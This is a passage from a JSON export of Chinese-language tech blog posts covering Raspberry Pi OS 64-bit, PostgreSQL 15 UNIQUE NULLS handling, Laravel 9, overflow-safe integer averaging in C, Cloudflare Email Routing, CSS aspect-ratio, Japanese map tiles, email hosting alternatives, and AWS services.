    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到前同事貼了 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 官方放出 Raspberry Pi OS 64-bit 版本的公告：「<a href=\"https://www.raspberrypi.com/news/raspberry-pi-os-64-bit/\">Raspberry Pi OS (64-bit)</a>」。\r\n\r\n我是在 beta 時就已經跑一陣子了，依照官方的說明可以看到 Raspberry Pi 3 或是 Raspberry Pi Zero 2 以上的版本才支援 64-bit OS。\r\n\r\n我是在 Raspberry Pi 3 上面跑，主要是現在大多數支援 ARM 指令集的 package 都是包 <code>arm64</code>，換到 64-bit OS 能裝的東西會比較多。\r\n\r\n另外有提到目前 64-bit 版本的 <a href=\"https://www.chromium.org/\">Chromium</a> 還沒有 <a href=\"https://widevine.com/\">Widevine</a> 支援，無法看 <a href=\"https://www.netflix.com/\">Netflix</a> 或是 <a href=\"https://www.disneyplus.com/\">Disney+</a>，需要裝 32-bit 版本才能看：\r\n\r\n<blockquote>The 64-bit version of Chromium, installed by default, has no version of the WidevineCDM library and therefore, it is not possible to play streaming media such as Netflix or Disney+.</blockquote>\r\n\r\n不過應該過一陣子就會有了...",
    "title": "Raspberry Pi OS 64-bit 版本正式推出"
  },
  {
    "id": "10528",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上面意外看到「<a href=\"https://news.ycombinator.com/item?id=30219984\">PHP – The Right Way (phptherightway.com)</a>」，官網在「<a href=\"https://phptherightway.com/\">PHP: The Right Way</a>」這邊，另外我在 2012 年的時候也有提過這個站台：「<a href=\"https://blog.gslin.org/archives/2012/07/16/2910/php-%e5%ba%b7%e8%8e%8a%e5%a4%a7%e9%81%93/\">PHP 康莊大道</a>」。\r\n\r\n看了一下，應該不完全是給初學者看的，反而對於回鍋的人比較有用，無論是很舊的歷史 (像是裡面提到的 <a href=\"https://pear.php.net/\">PEAR</a>)，還是比較新的東西 (像是 test case 那邊的介紹)，他都有花一些篇幅介紹，而且除了開發以外也包含了 deployment 與 hosting provider 的部份...\r\n\r\n沒想到這個網站過了十年繼續維護啊，而且內容豐富不少...",
    "title": "PHP: The Right Way"
  },
  {
    "id": "10531",
    "body": "前幾天提過「<a href=\"https://blog.gslin.org/archives/2022/02/03/10527/raspberry-pi-os-64-bit-%e7%89%88%e6%9c%ac%e6%ad%a3%e5%bc%8f%e6%8e%a8%e5%87%ba/\">Raspberry Pi OS 64-bit 版本正式推出</a>」，而 <a href=\"https://www.phoronix.com/\">Phoronix</a> 實際拿正式版測試 64-bit 與 32-bit 的系統差異了，在「<a href=\"https://www.phoronix.com/scan.php?page=article&amp;item=raspberrypi-32bit-64bit&amp;num=1\">Raspberry Pi OS 32-bit vs. 64-bit Performance</a>」這邊可以看到每一個測試項目的結果。\r\n\r\n測試的硬體是 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-400/\">Raspberry Pi 400</a>，這台機器基本上就是 4GB 版本的 <a href=\"https://www.raspberrypi.com/products/raspberry-pi-4-model-b/\">Raspberry Pi 4</a> 加上週邊配件：\r\n\r\n<blockquote>Using a Raspberry Pi 400 keyboard computer with 4GB of RAM, I ran some fresh benchmarks of Raspberry Pi OS in its default 32-bit build and then again with the new 64-bit build.</blockquote>\r\n\r\n先講結果，在 Phoronix 的 33 個測試裡面，64-bit 全部都比 32-bit 好，而且是很明顯的差異：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dMPWjW4.webp\" /><img src=\"https://i.gslin.com/imgur/dMPWjW4.png\" alt=\"\" /></picture>\r\n\r\n<blockquote>Across the few dozen different workloads tested, switching Raspberry Pi OS 11 for the 64-bit version improved the performance on average by about 48%. See all the 32-bit vs. 64-bit Raspberry Pi benchmarks over on OpenBenchmarking.org.</blockquote>\r\n\r\n之前 64-bit OS 還在 beta 的時候就已經知道這個情況了，所以不會覺得太意外。當時提出的解釋是指令集的差異，<a href=\"https://en.wikipedia.org/wiki/AArch64\">aarch64</a> 提供的指令集比 armv6 有效率多了，這點在 2016 年的文章「<a href=\"https://www.cnx-software.com/2016/03/01/64-bit-arm-aarch64-instructions-boost-performance-by-15-to-30-compared-to-32-bit-arm-aarch32-instructions/\">64-bit ARM (Aarch64) Instructions Boost Performance by 15 to 30% Compared to 32-bit ARM (Aarch32) Instructions</a>」這邊可以看到說明。\r\n\r\n所以正式版出來以後，只要硬體有支援，基本上都建議裝 64-bit OS 了...",
    "title": "Raspberry Pi OS 64-bit 與 32-bit 的效能差異"
  },
  {
    "id": "10532",
    "body": "看到「<a href=\"https://www.depesz.com/2022/02/06/waiting-for-postgresql-15-add-unique-null-treatment-option/\">Waiting for PostgreSQL 15 – Add UNIQUE null treatment option</a>」這篇文章裡面提到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 對 <code>UNIQUE</code> 多加了一些功能進去：「<a href=\"https://git.postgresql.org/gitweb/?p=postgresql.git;a=commitdiff;h=94aa7cc5f707712f592885995a28e018c7c80488\">Add UNIQUE null treatment option</a>」。\r\n\r\n<pre>\r\nThe SQL standard has been ambiguous about whether null values in unique constraints should be considered equal or not.  Different implementations have different behaviors.  In the SQL:202x draft, this has been formalized by making this implementation-defined and adding an option on unique constraint definitions UNIQUE [ NULLS [NOT] DISTINCT ] to choose a behavior explicitly.\r\n\r\nThis patch adds this option to PostgreSQL.  The default behavior remains UNIQUE NULLS DISTINCT.  Making this happen in the btree code is pretty easy; most of the patch is just to carry the flag around to all the places that need it.\r\n\r\nThe CREATE UNIQUE INDEX syntax extension is not from the standard, it's my own invention.\r\n\r\nI named all the internal flags, catalog columns, etc. in the negative (\"nulls not distinct\") so that the default PostgreSQL behavior is the default if the flag is false.\r\n\r\nReviewed-by: Maxim Orlov <orlovmg@gmail.com>\r\nReviewed-by: Pavel Borisov <pashkin.elfe@gmail.com>\r\nDiscussion: https://www.postgresql.org/message-id/flat/84e5ee1b-387e-9a54-c326-9082674bde78@enterprisedb.com\r\n</pre>\r\n\r\n以往針對某個欄位下 <code>UNIQUE</code> 後，雖然同樣的值是無法 <code>INSERT</code> 進去，但 <code>NULL</code> 則是個例外，是可以塞多次進去的。\r\n\r\n現在則是提供選項指定對 <code>NULL</code> 的解讀了；預設還是保留原來行為的 <code>UNIQUE NULLS DISTINCT</code> (把每個 <code>NULL</code> 都當作不同的值看待)，特別指定後會變成 <code>UNIQUE NULLS NOT DISTINCT</code> (把每個 <code>NULL</code> 都當作一樣的值，進而被 <code>UNIQUE</code> 條件限制)。\r\n\r\n在下一個版本的 PostgreSQL 15 就會出現這個功能了...",
    "title": "PostgreSQL 15 將可以對透過 UNIQUE 限制 NULL 的唯一性了"
  },
  {
    "id": "10535",
    "body": "剛剛看到 <a href=\"https://laravel.com/\">Laravel</a> 9 (LTS) 出的消息：「<a href=\"https://laravel-news.com/laravel-9-released\">Laravel 9 is Now Released!</a>」，對應的 release notes 在「<a href=\"https://laravel.com/docs/9.x/releases\">Release Notes</a>」這邊可以看。\r\n\r\n相隔兩年半的 <a href=\"https://en.wikipedia.org/wiki/Long-term_support\">LTS</a> 版本，另外也要求到 PHP 8.0+：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Yr6rdpX.webp\" /><img src=\"https://i.gslin.com/imgur/Yr6rdpX.png\" alt=\"\" /></picture>\r\n\r\n不過 Lavavel 的 LTS 設計上，沒有與一般 release 差太多，LTS 版本是 24/36 個月支援 (功能/安全)，但一般版本是 18/24 個月支援：\r\n\r\n<blockquote>For LTS releases, such as Laravel 9, bug fixes are provided for 2 years and security fixes are provided for 3 years. These releases provide the longest window of support and maintenance. For general releases, bug fixes are provided for 18 months and security fixes are provided for 2 years.</blockquote>\r\n\r\n如果看隔壁 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 的 LTS 是 60 個月，但一般版本是 9 個月；<a href=\"https://nodejs.org/\">Node.js</a> 的 LTS 是 36 個月，以及一般版本的 9 個月，這樣看起來就有很明顯的差異...\r\n\r\n這樣看起來跟一般版本好像也還好？",
    "title": "Laravel 9 (LTS) 出了"
  },
  {
    "id": "10537",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://devblogs.microsoft.com/oldnewthing/author/oldnewthing\">Raymond Chen</a> 在講怎麼對兩個 unsigned int 取平均值的方法：「<a href=\"https://devblogs.microsoft.com/oldnewthing/20220207-00/?p=106223\">On finding the average of two unsigned integers without overflow</a>」，這篇裡面提到了不少有趣的歷史，另外 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=30252263\">Finding the average of two unsigned integers without overflow (microsoft.com)</a>」也可以翻翻。\r\n\r\n最直覺的解法會有 overflow 的問題：\r\n\r\n<pre>\r\nunsigned average(unsigned a, unsigned b)\r\n{\r\n    return (a + b) / 2;\r\n}\r\n</pre>\r\n\r\n如果已知 a 與 b 的大小的話 (如同作者說的，蠻多時候都符合這個情況)，可以用這個方法避免 integer overflow：\r\n\r\n<pre>\r\nunsigned average(unsigned low, unsigned high)\r\n{\r\n    return low + (high - low) / 2;\r\n}\r\n</pre>\r\n\r\n另外還有個方法是有專利的 (「<a href=\"https://patents.google.com/patent/US6007232A\">Calculating the average of two integer numbers rounded towards zero in a single instruction cycle</a>」)，雖然在 2016 年到期了，各除以二相加後，只有 <code>a</code> 與 <code>b</code> 都是奇數的情況下需要補 1：\r\n\r\n<pre>\r\nunsigned average(unsigned a, unsigned b)\r\n{\r\n    return (a / 2) + (b / 2) + (a &amp; b &amp; 1);\r\n}\r\n</pre>\r\n\r\n接下來的這個方法用 AND 與 XOR 搞事，其中的原理可以解釋成，相同的 bit 不動表示值不需要動，不同的 bit 表示降一位 (除以 2)：\r\n\r\n<pre>\r\nunsigned average(unsigned a, unsigned b)\r\n{\r\n    return (a &amp; b) + (a ^ b) / 2;\r\n}\r\n</pre>\r\n\r\n最後是暴力解，用個比較大的 data type 搞定他：\r\n\r\n<pre>\r\nunsigned average(unsigned a, unsigned b)\r\n{\r\n    // Suppose \"unsigned\" is a 32-bit type and\r\n    // \"unsigned long long\" is a 64-bit type.\r\n    return ((unsigned long long)a + b) / 2;\r\n}\r\n</pre>\r\n\r\n後面有很多 assembly 的妖魔鬼怪跑出來就不提了 XDDD",
    "title": "兩個 unsigned int 取平均值的方法"
  },
  {
    "id": "10538",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈 Email Routing 這個 beta 功能可以讓一般人用 (包括免費帳號)：「<a href=\"https://blog.cloudflare.com/email-routing-open-beta/\">Email Routing is now in open beta, available to everyone</a>」。\r\n\r\n當然，你要先有心裡準備 Cloudflare 會看得到信件裡面的內容，之後可能會幹些有的沒的事情...\r\n\r\n這次會把這個功能開放出來，可以看到主要是 <a href=\"https://support.google.com/a/answer/2855120\">G Suite legacy</a> 宣佈要收費的關係：\r\n\r\n<blockquote>Most recently, with users wanting to set up Email Routing for more of their domains and with some of G Suite legacy users looking for an alternative to starting a subscription, we have been onboarding tens of thousands of new zones every day into the closed beta.</blockquote>\r\n\r\n透過這個功能，至少收信的部份可以透過 Custom addresses 這個功能轉到個人版的 <a href=\"https://mail.google.com/\">Gmail</a> 或是其他的 email system 上，另外也可以透過 Catch-all address 的功能直接收所有信件，以免費的系統來說，看起來還行，而發信的部份就透過自己本來的 email system 來發，這樣 Cloudflare 看起來也不需要處理 spam 之類的問題。",
    "title": "Cloudflare 的 Email Routing 功能可以讓一般人用 (包括免費帳號)"
  },
  {
    "id": "10539",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://macwright.com/lonlat/\">lon lat lon lat</a>」這篇蠻有趣的 (然後作者也很無奈)，整理出來目前各種 spec 內怎麼擺放經緯度的方式...\r\n\r\n重點在這張：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6GoD2ZK.webp\" /><img src=\"https://i.gslin.com/imgur/6GoD2ZK.png\" alt=\"\" /></picture>\r\n\r\n台灣因為中文裡會講「經緯度」，習慣就是先經後緯，也就是 <code>(lon, lat)</code> 的形式，作者的偏好也是一樣，但世界上還是有其他地區的習慣是反過來的 XD\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 裡的討論「<a href=\"https://news.ycombinator.com/item?id=30228981\">Lon Lat Lon Lat (macwright.com)</a>」可以看出來國際標準內也是都有，所以大概不會有標準答案...\r\n\r\n身為工程師，把這個現象當作某種容易中獎的 pitfall，遇到這類資料的時候要有習慣去確認 spec 定義的順序就可以了...",
    "title": "在資料裡面經緯度的擺放順序：先經度再緯度，或是先緯度再經度？"
  },
  {
    "id": "10541",
    "body": "在「<a href=\"https://www.cnx-software.com/2022/02/09/raspberry-pi-4-to-support-network-install-from-a-blank-microsd-card/\">Raspberry Pi 4 to support Network install to a blank MicroSD card</a>」這邊看到 Raspberry Pi 4 將可以透過有線網路安裝系統了：\r\n\r\n<blockquote>The Raspberry Pi 4 will soon be able to install Raspberry Pi OS without the need for external hardware to flash the image.</blockquote>\r\n\r\n先前都是透過其他機器先刷好 SD card 再放進去開機，之後可以透過有線網路直接裝，讓步驟簡單一些...  另外有提到這次會支援的只有 RPi4 與 CM4 機種，先前的版本還是得透過其他機器生出可開機的 SD card：\r\n\r\n<blockquote>The Raspberry Pi Foundation simply changed the bootloader code to enable the Network install feature, and yes, it will only work with Raspberry Pi 4, CM4, and Raspberry Pi 400 keyboard PC, but not Raspberry Pi 3 and earlier models.</blockquote>",
    "title": "Raspberry Pi 4 將可以透過有線網路安裝系統了"
  },
  {
    "id": "10542",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 公告提供 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 的 origin subnet 資訊 (AWS-managed prefix list) 讓管理者可以用：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/02/amazon-cloudfront-managed-prefix-list/\">Amazon VPC now supports an AWS-managed prefix list for Amazon CloudFront</a>」。\r\n\r\n以往會自己去「<a href=\"https://docs.aws.amazon.com/general/latest/gr/aws-ip-ranges.html\">AWS IP address ranges</a>」這邊提供的 JSON 檔案定時撈出來再丟到 managed prefix list 裡面，這次的功能等於是 AWS 自己管理這個 prefix list 讓管理者使用。\r\n\r\n馬上想的到的用途就是 HTTP/HTTPS port 了，只開放給 CloudFront 的伺服器存取：\r\n\r\n<blockquote>Starting today, you can use the AWS managed prefix list for Amazon CloudFront to limit the inbound HTTP/HTTPS traffic to your origins from only the IP addresses that belong to CloudFront’s origin-facing servers. CloudFront keeps the managed prefix list up-to-date with the IP addresses of CloudFront’s origin-facing servers, so you no longer have to maintain a prefix list yourself.</blockquote>\r\n\r\n要注意的是這不應該當作唯一的 ACL 手段，因為其他人也可以建立 CloudFront distribution 來穿透打進你的 origin server。\r\n\r\n另外有個比較特別的地方，這個 prefix list 的權重很重，使用他會算 55 條 rule 的量，在 security group 內很容易撞到 60 條的限制，在 route table 裡面則是直接撞到 50 條的限制；不過這兩個限制都可以跟 AWS 申請調昇：\r\n\r\n<blockquote>The Amazon CloudFront managed prefix list weight is unique in how it affects Amazon VPC quotas:\r\n\r\n<ul>\r\n\t<li>It counts as 55 rules in a security group. The default quota is 60 rules, leaving room for only 5 additional rules in a security group. You can request a quota increase for this quota.</li>\r\n\t<li>It counts as 55 routes in a route table. The default quota is 50 routes, so you must request a quota increase before you can add the prefix list to a route table.</li>\r\n</ul></blockquote>\r\n\r\n如果 HTTP 一條，HTTPS 也一條，那就會算 110 rules 了，有暴力的感覺...",
    "title": "AWS 增加 CloudFront 的 AWS-managed prefix list 讓管理者使用"
  },
  {
    "id": "10543",
    "body": "先前提過德國認為沒有告知使用者網站使用 <a href=\"https://en.wikipedia.org/wiki/Google_Fonts\">Google Fonts</a> 違反 <a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a> (可以參考先前寫的「<a href=\"https://blog.gslin.org/archives/2022/01/31/10518/%e5%be%b7%e5%9c%8b%e7%9a%84%e5%9c%b0%e6%96%b9%e6%b3%95%e9%99%a2%e8%aa%aa%e4%bd%bf%e7%94%a8-google-fonts-%e6%9c%8d%e5%8b%99%e6%b2%92%e6%9c%89%e5%91%8a%e7%9f%a5%e4%bd%bf%e7%94%a8%e8%80%85%e9%81%95/\">德國的地方法院說使用 Google Fonts 服務沒有告知使用者違反 GDPR</a>」這篇)，這次法國的 <a href=\"https://www.cnil.fr/en/\">CNIL</a> (英文維基百科的介紹：「<a href=\"https://en.wikipedia.org/wiki/Commission_nationale_de_l%27informatique_et_des_libert%C3%A9s\">Commission nationale de l'informatique et des libertés</a>」，是法國政府的一個獨立單位) 認定 <a href=\"https://en.wikipedia.org/wiki/Google_Analytics\">Google Analytics</a> 將資料傳回美國違反 GDPR：「<a href=\"https://www.cnil.fr/en/use-google-analytics-and-data-transfers-united-states-cnil-orders-website-manageroperator-comply\">Use of Google Analytics and data transfers to the United States: the CNIL orders a website manager/operator to comply</a>」。\r\n\r\n文章的 summary 講的差不多：\r\n\r\n<blockquote>Google Analytics provides statistics on website traffic. After receiving complaints from the NOYB association, the CNIL, in cooperation with its European counterparts, analysed the conditions under which the data collected through this service is transferred to the United States. The CNIL considers that these transfers are illegal and orders a French website manager to comply with the GDPR and, if necessary, to stop using this service under the current conditions.</blockquote>\r\n\r\n這件事情在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論很熱烈，這邊就不爆雷了：「<a href=\"https://news.ycombinator.com/item?id=30284372\">Use of Google Analytics declared illegal by French data protection authority (cnil.fr)</a>」，在看的時候要知道 Hacker News 是非常美國觀點的站台 (偏 <a href=\"https://www.ycombinator.com/\">Y Combinator</a> 或是 VC 圈子觀點)。",
    "title": "法國 CNIL 認為 Google Analytics 傳輸資料回美國違反 GDPR"
  },
  {
    "id": "10544",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/aspect-ratio\">aspect-ratio</a> 這個新的 CSS property 的介紹：「<a href=\"https://css-irl.info/aspect-ratio-is-great/\">Aspect Ratio is Great</a>」，對應的 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 討論則是在這：「<a href=\"https://news.ycombinator.com/item?id=30280210\">Aspect-ratio is great (css-irl.info)</a>」。\r\n\r\n在 <a href=\"https://developer.mozilla.org/\">MDN</a> 上的解釋是這樣：\r\n\r\n<blockquote>The <code>aspect-ratio</code> CSS property sets a <strong>preferred aspect ratio</strong> for the box, which will be used in the calculation of auto sizes and some other layout functions.</blockquote>\r\n\r\n對於圖片來說，這可以用來指定希望 crop 多少的範圍。\r\n\r\n作者也有提到以往的 hack 方式是透過 <code>padding</code> 與 <code>calc</code> + <code>var</code> 的方式達到，現在讓瀏覽器直接處理就簡單不少了，這張示意圖就蠻清楚表達想要做的事情是怎麼樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JiTBUQw.webp\" /><img src=\"https://i.gslin.com/imgur/JiTBUQw.jpg\" alt=\"\" /></picture>\r\n\r\n然後看了一下 <a href=\"https://caniuse.com/\">Can I use</a> 上面的資料，看起來許多大宗的瀏覽器都支援了，也包括了 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 的 ESR 版本 (91，在 2021 年八月的時候釋出的)；不過仔細看會發現 <a href=\"https://www.apple.com/safari/\">Safari</a> 這邊寫 15 才支援，這代表 <a href=\"https://en.wikipedia.org/wiki/MacOS_Catalina\">Catalina</a> (10.15) 與 <a href=\"https://en.wikipedia.org/wiki/MacOS_Big_Sur\">Big Sur</a> (11) 的 Safari 都不支援，而這兩個版本目前 <a href=\"https://www.apple.com/\">Apple</a> 都還有支援，另外在行動裝置上，這也代表 <a href=\"https://www.apple.com/ios/\">iOS</a> 的要求是 15+，所以目前還在支援的 <a href=\"https://en.wikipedia.org/wiki/IPhone_5S\">iPhone 5S</a> 與 <a href=\"https://en.wikipedia.org/wiki/IPhone_6\">iPhone 6</a> 用的 <a href=\"https://en.wikipedia.org/wiki/IOS_12\">iOS 12</a> 也會遇到問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5rymNbb.webp\" /><img src=\"https://i.gslin.com/imgur/5rymNbb.png\" alt=\"\" /></picture>\r\n\r\n不愧是新世代的 IE，對於需要服務比較一般性的情況應該還是不能用...",
    "title": "CSS4 的 aspect-ratio"
  },
  {
    "id": "10546",
    "body": "查資料的時候發現日本的<a href=\"https://www.gsi.go.jp/\">囯土地理院</a>有開放使用日本的地圖圖資：「<a href=\"https://maps.gsi.go.jp/development/ichiran.html\">地理院タイル一覧</a>」。\r\n\r\n圖資放在 <a href=\"https://cyberjapandata.gsi.go.jp/\">cyberjapandata.gsi.go.jp</a> 這個網址上，前面掛 <a href=\"https://www.fastly.com/\">Fastly</a> 的 CDN：\r\n\r\n<pre>\r\n;; ANSWER SECTION:\r\ncyberjapandata.gsi.go.jp. 300   IN      CNAME   d.sni.global.fastly.net.\r\nd.sni.global.fastly.net. 30     IN      A       199.232.46.133\r\n</pre>\r\n\r\n抓個<a href=\"https://tabelog.com/tokyo/A1311/A131104/13012243/\">鶯谷園</a>的點出來看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6r6fxeP.webp\" /><img src=\"https://i.gslin.com/imgur/6r6fxeP.png\" alt=\"\" /></picture>\r\n\r\n然後可以看到非常多不同的資料，像是「1928年頃」、「活断層図（都市圏活断層図）」、「明治期の低湿地」、「磁気図2010.0年値」，另外針對比較大的災難也有提供一些區域圖，像是「平成25年7月17日からの大雨 山口地方「須佐地区」正射画像（2013年7月31日撮影）」。\r\n\r\n另外因為 url 形式是 <code>https://cyberjapandata.gsi.go.jp/xyz/std/{z}/{x}/{y}.png</code> 這種格式，可以直接用 <a href=\"https://leafletjs.com/\">Leaflet</a> 這類 library 吃進去...",
    "title": "日本囯土地理院提供的日本地圖圖資"
  },
  {
    "id": "10547",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30301880\">Running C unit tests with Pytest (p403n1x87.github.io)</a>」這串討論，就如同標題所寫的，拿 <a href=\"https://pytest.org/\">pytest</a> 測 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 的程式：「<a href=\"https://p403n1x87.github.io/running-c-unit-tests-with-pytest.html\">Running C unit tests with pytest</a>」。\r\n\r\n拿既有還蠻成熟的 testing framework 來用，而且看他的範例裡，C 的部份只要 symbol 有 expose (non-static) 就可以測，看起來不需要用到 <a href=\"https://www.python.org/\">Python</a> 特殊的資料結構...\r\n\r\n之後如果有機會也可以用看看...",
    "title": "拿 pytest 測 C 的程式"
  },
  {
    "id": "10548",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2022/02/09/10538/cloudflare-%e7%9a%84-email-routing-%e5%8a%9f%e8%83%bd%e5%8f%af%e4%bb%a5%e8%ae%93%e4%b8%80%e8%88%ac%e4%ba%ba%e7%94%a8-%e5%8c%85%e6%8b%ac%e5%85%8d%e8%b2%bb%e5%b8%b3%e8%99%9f/\">Cloudflare 的 Email Routing 功能可以讓一般人用 (包括免費帳號)</a>」這邊有提到，因為 <a href=\"https://en.wikipedia.org/wiki/Google_Workspace\">Google Workspace</a> 要廢掉免費版本，所以 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了 E-mail forwarding 的方案讓大家用，所以一種簡單的解決方法就是註冊另外一個免費的 <a href=\"https://en.wikipedia.org/wiki/Gmail\">Gmail</a> 帳號，然後用 Cloudflare 把信件 forward 到新的帳號裡。\r\n\r\n但如果想要避開 Google 的服務的話，在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=30223538\">Ask HN: Best hosted alternative to Google Workspace for email?</a>」這邊就有討論不少可能的替代方案，主要是付費的為主。\r\n\r\n討論裡常被提起的方案：\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.apple.com/\">Apple</a> 的 <a href=\"https://www.apple.com/icloud/\">iCloud+</a></li>\r\n\t<li><a href=\"https://www.microsoft.com/\">Microsoft</a> 的 <a href=\"https://en.wikipedia.org/wiki/Microsoft_365\">Microsoft 365</a> (整包) 或是 <a href=\"https://www.microsoft.com/microsoft-365/exchange/exchange-online\">Exchange Online</a> (只有信件相關的服務)</li>\r\n\t<li><a href=\"https://www.zoho.com/\">Zoho</a> 的 <a href=\"https://www.zoho.com/mail/\">Zoho Mail</a></li>\r\n\t<li><a href=\"https://www.fastmail.com/\">Fastmail</a></li>\r\n</ul>\r\n\r\n我自己是很愛 Fastmail，他的 webmail 界面速度很快 (即使 <a href=\"https://www.fastmail.com/\">www.fastmail.com</a> 需要連到美國的伺服氣上)，而且鍵盤快速鍵與 Gmail 幾乎相同，所以學習成本很低，就把其中一個 domain 掛上去用，然後把一些服務的註冊 email 都往這邊掛。\r\n\r\n而費用的部份，除了可以月繳外，年繳與三年繳都有另外再給 discount (30GB 版本是 US$5/mo、US$50/y 與 US$140/3y)，第一次用一年後，後面就是刷三年了...\r\n\r\n如果有在用 Office 的話，Microsoft 365 應該也是個選擇方案，不過我對 Outlook 的 folder-based 的設計邏輯用不慣...\r\n\r\n然後是 iCloud+，看討論裡面提到穩定度似乎不太行，但也有人用的好好的，我自己是只有拿來同步 Apple 裝置用，沒有用到郵件服務的部份...\r\n\r\n另外是自己有架設 Email service，話說這年頭自己搞 Email system 超麻煩的，對於沒搞過的人 <a href=\"https://en.wikipedia.org/wiki/Sender_Policy_Framework\">SPF</a> 與 <a href=\"https://en.wikipedia.org/wiki/DomainKeys_Identified_Mail\">DKIM</a> 加上 <a href=\"https://en.wikipedia.org/wiki/DMARC\">DMARC</a> 絕對會搞死自己，乖乖丟雲端服務比較省事，我純粹是要保持多路暢通而已...",
    "title": "其他非 Google 的 Email Hosting 服務"
  },
  {
    "id": "10549",
    "body": "大概一個月前的時候在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=29835756\">Kagi: A Premium Search Engine (kagi.com)</a>」這篇，在講一個新的搜尋引擎，就填了一下單子等邀請，過了一個月後剛剛收到邀請，就註冊起來用看看。\r\n\r\n測了一下沒什麼大問題，中英文都算正常，接下來就是先掛成日常用的 search engine，然後看看品質如何。另外在 Hacker News 的討論裡面也有不少人在討論費用的問題，對我來說，如果搜尋結果的品質夠好的話，我大概可以接受到 US$99/mo？畢竟是靠網路這個 ecosystem 吃飯...\r\n\r\n然後從技術的角度來看，看起來網站入口是掛在 <a href=\"https://cloud.google.com/\">GCP</a> 上面，這會不會有點敏感呢...",
    "title": "來測試 Kagi 這個搜尋引擎"
  },
  {
    "id": "10550",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=30317229\">Mutt 2.2.0 (mutt.org)</a>」這篇，<a href=\"http://www.mutt.org/\">Mutt</a> 的維護者 (應該是 Kevin McCarthy) 將只會負責 fix 類的事情了：\r\n\r\n<blockquote>This obviously isn't a feature, but I wanted to mention that I will be moving away from Mutt maintainership after this release. There isn't a transition plan, so I'll keep maintaining the 2.2.x series with bug fixes and security issues.\r\n\r\nIt's been my pleasure to keep the releases coming since version 1.5.24. Unfortunately the past year, my time and energy available has been decreasing. So my plan is to focus the time I do have on keeping Mutt stable, secure, and bug free; until someone else has the desire to head up (and support) new-feature releases. Thank you everyone!</blockquote>\r\n\r\n有人在討論串裡提到了 <a href=\"https://neomutt.org/\">NeoMutt</a>，也許之後會找機會看看...\r\n\r\n目前還是有一套 email system 是跑在 <a href=\"https://www.postfix.org/\">Postfix</a> + <a href=\"https://en.wikipedia.org/wiki/Procmail\">Procmail</a> + <a href=\"https://bogofilter.sourceforge.io/\">Bogofilter</a> + Mutt 上面，短期內應該不會換...",
    "title": "Mutt 現有維護者的節能宣告"
  },
  {
    "id": "10551",
    "body": "算是上個星期的消息了，<a href=\"https://aws.amazon.com/apprunner/\">App Runner</a> 這個產品剛出來的時候無法連到 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內的資源，不知道要怎麼用，現在總算是把這個功能補上了：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-app-runner-vpc-support/\">New for App Runner – VPC Support</a>」。\r\n\r\n不過還是不看好，旁邊還有 <a href=\"https://aws.amazon.com/elasticbeanstalk/\">AWS Elastic Beanstalk</a>、<a href=\"https://aws.amazon.com/amplify/\">AWS Amplify</a> 同質性超高的服務，都是只寫 code 丟上去就能跑：\r\n\r\n<blockquote>AWS App Runner is a fully managed service that makes it easy for developers to quickly deploy containerized web applications and APIs, at scale and with no prior infrastructure experience required. Start with your source code or a container image. App Runner builds and deploys the web application automatically, load balances traffic with encryption, scales to meet your traffic needs, and makes it easy for your services to communicate with other AWS services and applications that run in a private Amazon VPC. With App Runner, rather than thinking about servers or scaling, you have more time to focus on your applications.</blockquote>\r\n\r\n<blockquote>AWS Elastic Beanstalk is an easy-to-use service for deploying and scaling web applications and services developed with Java, .NET, PHP, Node.js, Python, Ruby, Go, and Docker on familiar servers such as Apache, Nginx, Passenger, and IIS.\r\n\r\nYou can simply upload your code and Elastic Beanstalk automatically handles the deployment, from capacity provisioning, load balancing, auto-scaling to application health monitoring. At the same time, you retain full control over the AWS resources powering your application and can access the underlying resources at any time.</blockquote>\r\n\r\n<blockquote>AWS Amplify is a set of purpose-built tools and features that lets frontend web and mobile developers quickly and easily build full-stack applications on AWS, with the flexibility to leverage the breadth of AWS services as your use cases evolve. With Amplify, you can configure a web or mobile app backend, connect 